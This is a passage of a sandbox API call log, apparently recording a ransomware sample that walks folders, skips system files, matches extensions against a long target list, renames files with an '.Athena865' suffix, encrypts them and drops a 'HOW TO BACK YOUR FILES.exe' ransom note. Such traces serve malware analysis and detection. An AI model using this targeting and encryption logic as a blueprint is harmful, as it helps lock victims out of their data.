ftLastWriteTime.dwLowDateTime=0xb1525cf0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wlsrvc.dll", cAlternateFileName="")) returned 1 [0048.296] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.296] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.296] lstrcmpiW (lpString1="wlsrvc.dll", lpString2=".") returned 1 [0048.296] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="..") returned 1 [0048.296] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="windows") returned 1 [0048.296] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="bootmgr") returned 1 [0048.296] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="temp") returned 1 [0048.297] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="pagefile.sys") returned 1 [0048.297] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="boot") returned 1 [0048.297] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="ids.txt") returned 1 [0048.297] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="ntuser.dat") returned 1 [0048.297] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="perflogs") returned 1 [0048.297] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="MSBuild") returned 1 [0048.297] lstrlenW (lpString="wlsrvc.dll") returned 10 [0048.297] lstrcpyW (in: lpString1=0x241e896, lpString2="wlsrvc.dll" | out: lpString1="wlsrvc.dll") returned="wlsrvc.dll" [0048.297] lstrlenW (lpString="wlsrvc.dll") returned 10 [0048.297] lstrlenW (lpString="Athena865") returned 9 [0048.297] lstrcmpiW (lpString1="lsrvc.dll", lpString2="Athena865") returned 1 [0048.297] lstrlenW (lpString=".dll") returned 4 [0048.297] lstrcmpiW (lpString1="wlsrvc.dll", lpString2=".dll") returned 1 [0048.297] lstrlenW (lpString=".lnk") returned 4 [0048.297] lstrcmpiW (lpString1="wlsrvc.dll", lpString2=".lnk") returned 1 [0048.297] lstrlenW (lpString=".ini") returned 4 [0048.297] lstrcmpiW (lpString1="wlsrvc.dll", lpString2=".ini") returned 1 [0048.297] lstrlenW (lpString=".sys") returned 4 [0048.297] lstrcmpiW (lpString1="wlsrvc.dll", lpString2=".sys") returned 1 [0048.297] lstrlenW (lpString="wlsrvc.dll") returned 10 [0048.297] lstrlenW (lpString="bak") returned 3 [0048.297] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0048.297] lstrlenW (lpString="ba_") returned 3 [0048.297] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0048.297] lstrlenW (lpString="dbb") returned 3 [0048.297] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0048.297] lstrlenW (lpString="vmdk") returned 4 [0048.297] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0048.297] lstrlenW (lpString="rar") returned 3 [0048.297] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0048.297] lstrlenW (lpString="zip") returned 3 [0048.297] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0048.297] lstrlenW (lpString="tgz") returned 3 [0048.297] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0048.297] lstrlenW (lpString="vbox") returned 4 [0048.297] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0048.298] lstrlenW (lpString="vdi") returned 3 [0048.298] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0048.298] lstrlenW (lpString="vhd") returned 3 [0048.298] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0048.298] lstrlenW (lpString="vhdx") returned 4 [0048.298] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0048.298] lstrlenW (lpString="avhd") returned 4 [0048.298] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0048.298] lstrlenW (lpString="db") returned 2 [0048.298] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0048.298] lstrlenW (lpString="db2") returned 3 [0048.298] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0048.298] lstrlenW (lpString="db3") returned 3 [0048.298] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0048.298] lstrlenW (lpString="dbf") returned 3 [0048.298] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0048.298] lstrlenW (lpString="mdf") returned 3 [0048.298] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0048.298] lstrlenW (lpString="mdb") returned 3 [0048.298] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0048.298] lstrlenW (lpString="sql") returned 3 [0048.298] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0048.298] lstrlenW (lpString="sqlite") returned 6 [0048.298] lstrcmpiW (lpString1="vc.dll", lpString2="sqlite") returned 1 [0048.298] lstrlenW (lpString="sqlite3") returned 7 [0048.298] lstrcmpiW (lpString1="rvc.dll", lpString2="sqlite3") returned -1 [0048.298] lstrlenW (lpString="sqlitedb") returned 8 [0048.298] lstrcmpiW (lpString1="srvc.dll", lpString2="sqlitedb") returned 1 [0048.298] lstrlenW (lpString="xml") returned 3 [0048.298] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0048.298] lstrlenW (lpString="$er") returned 3 [0048.298] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0048.298] lstrlenW (lpString="4dd") returned 3 [0048.298] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0048.299] lstrlenW (lpString="4dl") returned 3 [0048.299] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0048.299] lstrlenW (lpString="^^^") returned 3 [0048.299] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0048.299] lstrlenW (lpString="abs") returned 3 [0048.299] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0048.299] lstrlenW (lpString="abx") returned 3 [0048.299] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0048.299] lstrlenW (lpString="accdb") returned 5 [0048.299] lstrcmpiW (lpString1="c.dll", lpString2="accdb") returned 1 [0048.299] lstrlenW (lpString="accdc") returned 5 [0048.299] lstrcmpiW (lpString1="c.dll", lpString2="accdc") returned 1 [0048.299] lstrlenW (lpString="accde") returned 5 [0048.299] lstrcmpiW (lpString1="c.dll", lpString2="accde") returned 1 [0048.299] lstrlenW (lpString="accdr") returned 5 [0048.299] lstrcmpiW (lpString1="c.dll", lpString2="accdr") returned 1 [0048.299] lstrlenW (lpString="accdt") returned 5 [0048.299] lstrcmpiW (lpString1="c.dll", lpString2="accdt") returned 1 [0048.299] lstrlenW (lpString="accdw") returned 5 [0048.299] lstrcmpiW (lpString1="c.dll", lpString2="accdw") returned 1 [0048.299] lstrlenW (lpString="accft") returned 5 [0048.299] lstrcmpiW (lpString1="c.dll", lpString2="accft") returned 1 [0048.299] lstrlenW (lpString="adb") returned 3 [0048.299] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0048.299] lstrlenW (lpString="adb") returned 3 [0048.299] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0048.299] lstrlenW (lpString="ade") returned 3 [0048.299] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0048.299] lstrlenW (lpString="adf") returned 3 [0048.299] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0048.299] lstrlenW (lpString="adn") returned 3 [0048.299] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0048.299] lstrlenW (lpString="adp") returned 3 [0048.299] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0048.299] lstrlenW (lpString="alf") returned 3 [0048.300] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0048.300] lstrlenW (lpString="ask") returned 3 [0048.300] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0048.300] lstrlenW (lpString="btr") returned 3 [0048.300] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0048.300] lstrlenW (lpString="cat") returned 3 [0048.300] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0048.300] lstrlenW (lpString="cdb") returned 3 [0048.300] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0048.300] lstrlenW (lpString="ckp") returned 3 [0048.300] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0048.300] lstrlenW (lpString="cma") returned 3 [0048.300] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0048.300] lstrlenW (lpString="cpd") returned 3 [0048.300] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0048.300] lstrlenW (lpString="dacpac") returned 6 [0048.300] lstrcmpiW (lpString1="vc.dll", lpString2="dacpac") returned 1 [0048.300] lstrlenW (lpString="dad") returned 3 [0048.300] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0048.300] lstrlenW (lpString="dadiagrams") returned 10 [0048.300] lstrlenW (lpString="daschema") returned 8 [0048.300] lstrcmpiW (lpString1="srvc.dll", lpString2="daschema") returned 1 [0048.300] lstrlenW (lpString="db-journal") returned 10 [0048.300] lstrlenW (lpString="db-shm") returned 6 [0048.300] lstrcmpiW (lpString1="vc.dll", lpString2="db-shm") returned 1 [0048.300] lstrlenW (lpString="db-wal") returned 6 [0048.300] lstrcmpiW (lpString1="vc.dll", lpString2="db-wal") returned 1 [0048.300] lstrlenW (lpString="dbc") returned 3 [0048.300] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0048.300] lstrlenW (lpString="dbs") returned 3 [0048.300] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0048.300] lstrlenW (lpString="dbt") returned 3 [0048.300] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0048.300] lstrlenW (lpString="dbv") returned 3 [0048.300] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0048.300] lstrlenW (lpString="dbx") returned 3 [0048.301] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0048.301] lstrlenW (lpString="dcb") returned 3 [0048.301] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0048.301] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0048.301] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0048.301] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0048.301] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Sidebar\\wlsrvc.dll.Athena865") returned 59 [0048.301] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\wlsrvc.dll" (normalized: "c:\\program files (x86)\\windows sidebar\\wlsrvc.dll"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\wlsrvc.dll.Athena865" (normalized: "c:\\program files (x86)\\windows sidebar\\wlsrvc.dll.athena865"), dwFlags=0x1) returned 1 [0048.302] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\wlsrvc.dll.Athena865" (normalized: "c:\\program files (x86)\\windows sidebar\\wlsrvc.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0048.302] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=108544) returned 1 [0048.302] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.302] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.302] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.302] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.303] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.303] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.303] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ab00, lpName=0x0) returned 0x17c [0048.304] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ab00) returned 0x100000 [0048.310] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.310] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.311] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.311] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.311] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0048.311] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528208 [0048.311] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.311] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528208 | out: hHeap=0x4f0000) returned 1 [0048.311] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.311] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x524fa0 [0048.311] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.311] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x524fa0 | out: hHeap=0x4f0000) returned 1 [0048.311] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.311] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0048.312] CloseHandle (hObject=0x17c) returned 1 [0048.312] CloseHandle (hObject=0x154) returned 1 [0048.312] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.312] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.312] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.313] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b27b844, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4b27b844, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb1525cf0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wlsrvc.dll", cAlternateFileName="")) returned 0 [0048.313] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0048.313] ReleaseMutex (hMutex=0xec) returned 1 [0048.313] CloseHandle (hObject=0xec) returned 1 [0048.313] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Adobe" | out: lpString1="C:\\ProgramData\\Adobe") returned="C:\\ProgramData\\Adobe" [0048.313] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a7c0 | out: hHeap=0x4f0000) returned 1 [0048.313] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x509050 | out: hHeap=0x4f0000) returned 1 [0048.313] lstrlenW (lpString="C:\\ProgramData\\Adobe") returned 20 [0048.313] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\74FD6E902FC908045FA6CFCA7B9D9FC7") returned 0xec [0048.313] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0048.313] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Adobe" | out: lpString1="C:\\ProgramData\\Adobe") returned="C:\\ProgramData\\Adobe" [0048.314] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0048.314] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 0 [0048.314] CreateFileW (lpFileName="C:\\ProgramData\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\adobe\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0048.314] GetLastError () returned 0x0 [0048.314] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0048.314] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0048.314] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0048.315] CloseHandle (hObject=0xf4) returned 1 [0048.315] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0048.315] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0048.315] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5e2da0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0048.315] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.316] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.316] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0048.316] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5e2da0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.316] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.316] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.316] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0048.316] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0048.316] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0048.316] lstrcmpiW (lpString1="Acrobat", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.316] lstrcmpiW (lpString1="Acrobat", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.316] lstrcmpiW (lpString1="Acrobat", lpString2=".") returned 1 [0048.316] lstrcmpiW (lpString1="Acrobat", lpString2="..") returned 1 [0048.316] lstrcmpiW (lpString1="Acrobat", lpString2="windows") returned -1 [0048.316] lstrcmpiW (lpString1="Acrobat", lpString2="bootmgr") returned -1 [0048.316] lstrcmpiW (lpString1="Acrobat", lpString2="temp") returned -1 [0048.316] lstrcmpiW (lpString1="Acrobat", lpString2="pagefile.sys") returned -1 [0048.316] lstrcmpiW (lpString1="Acrobat", lpString2="boot") returned -1 [0048.316] lstrcmpiW (lpString1="Acrobat", lpString2="ids.txt") returned -1 [0048.316] lstrcmpiW (lpString1="Acrobat", lpString2="ntuser.dat") returned -1 [0048.316] lstrcmpiW (lpString1="Acrobat", lpString2="perflogs") returned -1 [0048.316] lstrcmpiW (lpString1="Acrobat", lpString2="MSBuild") returned -1 [0048.316] lstrlenW (lpString="Acrobat") returned 7 [0048.316] lstrcpyW (in: lpString1=0x241e872, lpString2="Acrobat" | out: lpString1="Acrobat") returned="Acrobat" [0048.316] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x509050 [0048.316] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3a) returned 0x50f640 [0048.316] lstrcatW (in: lpString1="Acrobat", lpString2="\\" | out: lpString1="Acrobat\\") returned="Acrobat\\" [0048.316] lstrcatW (in: lpString1="Acrobat\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Acrobat\\HOW TO BACK YOUR FILES.exe") returned="Acrobat\\HOW TO BACK YOUR FILES.exe" [0048.316] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Adobe\\Acrobat\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\adobe\\acrobat\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.318] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1 [0048.318] lstrcmpiW (lpString1="ARM", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.318] lstrcmpiW (lpString1="ARM", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.318] lstrcmpiW (lpString1="ARM", lpString2=".") returned 1 [0048.319] lstrcmpiW (lpString1="ARM", lpString2="..") returned 1 [0048.319] lstrcmpiW (lpString1="ARM", lpString2="windows") returned -1 [0048.319] lstrcmpiW (lpString1="ARM", lpString2="bootmgr") returned -1 [0048.319] lstrcmpiW (lpString1="ARM", lpString2="temp") returned -1 [0048.319] lstrcmpiW (lpString1="ARM", lpString2="pagefile.sys") returned -1 [0048.319] lstrcmpiW (lpString1="ARM", lpString2="boot") returned -1 [0048.319] lstrcmpiW (lpString1="ARM", lpString2="ids.txt") returned -1 [0048.319] lstrcmpiW (lpString1="ARM", lpString2="ntuser.dat") returned -1 [0048.319] lstrcmpiW (lpString1="ARM", lpString2="perflogs") returned -1 [0048.319] lstrcmpiW (lpString1="ARM", lpString2="MSBuild") returned -1 [0048.319] lstrlenW (lpString="ARM") returned 3 [0048.319] lstrcpyW (in: lpString1=0x241e872, lpString2="ARM" | out: lpString1="ARM") returned="ARM" [0048.319] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530a28 [0048.319] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x32) returned 0x529550 [0048.319] lstrcatW (in: lpString1="ARM", lpString2="\\" | out: lpString1="ARM\\") returned="ARM\\" [0048.319] lstrcatW (in: lpString1="ARM\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ARM\\HOW TO BACK YOUR FILES.exe") returned="ARM\\HOW TO BACK YOUR FILES.exe" [0048.319] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Adobe\\ARM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\adobe\\arm\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.321] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc5e2da0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0048.321] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0048.321] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc5e2da0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0048.321] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0048.321] ReleaseMutex (hMutex=0xec) returned 1 [0048.321] CloseHandle (hObject=0xec) returned 1 [0048.321] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Application Data" | out: lpString1="C:\\ProgramData\\Application Data") returned="C:\\ProgramData\\Application Data" [0048.321] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50f6d0 | out: hHeap=0x4f0000) returned 1 [0048.321] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50da90 | out: hHeap=0x4f0000) returned 1 [0048.321] lstrlenW (lpString="C:\\ProgramData\\Application Data") returned 31 [0048.321] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\F02CFEECD879A8D540B4F0DF556DE182") returned 0xec [0048.322] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0048.322] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Application Data" | out: lpString1="C:\\ProgramData\\Application Data") returned="C:\\ProgramData\\Application Data" [0048.322] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0048.322] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0048.322] CreateFileW (lpFileName="C:\\ProgramData\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0048.322] GetLastError () returned 0x0 [0048.323] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0048.323] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0048.323] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, 